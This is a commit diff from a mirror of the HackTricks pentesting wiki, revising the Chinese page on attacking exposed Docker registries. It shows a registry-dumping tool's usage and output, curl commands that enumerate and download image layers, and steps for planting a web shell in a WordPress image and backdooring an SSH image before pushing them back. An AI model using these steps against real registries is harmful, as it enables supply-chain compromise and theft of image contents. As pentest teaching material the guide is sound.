mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['network-services-pentesting/5000-pentesting-docker-registry
This commit is contained in:
parent
20e1abcea8
commit
b2f3a04c22
1 changed files with 58 additions and 23 deletions
|
@ -6,7 +6,7 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
@ -16,7 +16,7 @@
|
|||
|
||||
## 基本信息
|
||||
|
||||
一个名为**Docker registry**的存储和分发系统用于存储以及可能有多个版本的 Docker 镜像,这些镜像通过标签进行区分。这些镜像组织在注册表中的**Docker repositories**中,每个存储库存储特定镜像的各种版本。提供的功能允许用户下载镜像到本地或上传到注册表,前提是用户具有必要的权限。
|
||||
一个名为**Docker registry**的存储和分发系统用于存放命名的 Docker 镜像,这些镜像可能有多个版本,通过标签进行区分。这些镜像在注册表中的**Docker repositories**中组织,每个存储库存储特定镜像的各个版本。提供的功能允许用户下载镜像到本地或上传到注册表,前提是用户具有必要的权限。
|
||||
|
||||
**DockerHub** 作为 Docker 的默认公共注册表,但用户也可以选择运行开源 Docker 注册表/分发的本地版本,或选择商业支持的**Docker Trusted Registry**。此外,还可以在线找到各种其他公共注册表。
|
||||
|
||||
|
@ -78,11 +78,59 @@ curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
|||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) 是一个用于枚举/转储 Docker 仓库(无需或带有基本身份验证)的 Python 工具。
|
||||
```bash
|
||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||
|
||||
____ ____ ____
|
||||
| _ \ | _ \ / ___|
|
||||
| | | || |_) || | _
|
||||
| |_| || _ < | |_| |
|
||||
|____/ |_| \_\ \____|
|
||||
Docker Registry grabber tool v2
|
||||
by @SyzikSecu
|
||||
|
||||
positional arguments:
|
||||
url URL
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-p port port to use (default : 5000)
|
||||
|
||||
Authentication:
|
||||
-U USERNAME Username
|
||||
-P PASSWORD Password
|
||||
-A header Authorization bearer token
|
||||
|
||||
Actions:
|
||||
--list
|
||||
--dump_all
|
||||
--dump DOCKERNAME DockerName
|
||||
|
||||
Example commands:
|
||||
python drg.py http://127.0.0.1 --list
|
||||
python drg.py http://127.0.0.1 --dump my-ubuntu
|
||||
python drg.py http://127.0.0.1 --dump_all
|
||||
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
|
||||
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
|
||||
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
|
||||
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
|
||||
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
|
||||
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --list
|
||||
|
||||
[+] my-ubuntu
|
||||
[+] my-ubuntu2
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
||||
|
||||
[+] blobSum found 5
|
||||
[+] Dumping my-ubuntu
|
||||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||||
|
||||
[+] my-ubuntu
|
||||
|
@ -101,17 +149,6 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
||||
|
||||
[+] blobSum found 5
|
||||
[+] Dumping my-ubuntu
|
||||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
```
|
||||
### 使用curl进行枚举
|
||||
|
||||
|
@ -179,7 +216,7 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
|||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
请注意,当您下载并解压缩 blobs 文件时,文件和文件夹将出现在当前目录中。**如果您下载所有 blobs 并将它们解压缩到同一个文件夹中,它们将覆盖先前解压缩的 blobs 中的值**,所以请小心。最好将每个 blob 解压缩到不同的文件夹中,以检查每个 blob 的确切内容。
|
||||
请注意,当您下载并解压缩 blobs 文件时,文件和文件夹将出现在当前目录中。**如果您下载所有 blobs 并将它们解压缩到同一个文件夹中,它们将覆盖先前解压缩的 blobs 中的值**,因此请小心。最好将每个 blob 解压缩到不同的文件夹中,以检查每个 blob 的确切内容。
|
||||
{% endhint %}
|
||||
|
||||
### 使用 Docker 进行枚举
|
||||
|
@ -212,7 +249,7 @@ docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
创建一个 **Dockerfile**:
|
||||
创建一个 **Dockerfile**:
|
||||
|
||||
{% code title="Dockerfile" %}
|
||||
```bash
|
||||
|
@ -220,9 +257,7 @@ FROM 10.10.10.10:5000/wordpress
|
|||
COPY shell.php /app/
|
||||
RUN chmod 777 /app/shell.php
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**创建**新镜像,**检查**它是否已创建,并**推送**它:
|
||||
**创建**新镜像,**检查**其是否已创建,并**推送**它:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
|
||||
#Create
|
||||
|
@ -231,7 +266,7 @@ docker push registry:5000/wordpress #Push it
|
|||
```
|
||||
### 在SSH服务器镜像中植入后门
|
||||
|
||||
假设你发现了一个带有SSH镜像的Docker Registry,并且想要植入后门。\
|
||||
假设你发现了一个带有SSH镜像的Docker Registry,并且想要在其中植入后门。\
|
||||
**下载**该镜像并**运行**它:
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
|
@ -264,14 +299,14 @@ docker push registry:5000/sshd-docker-cli #Push it
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue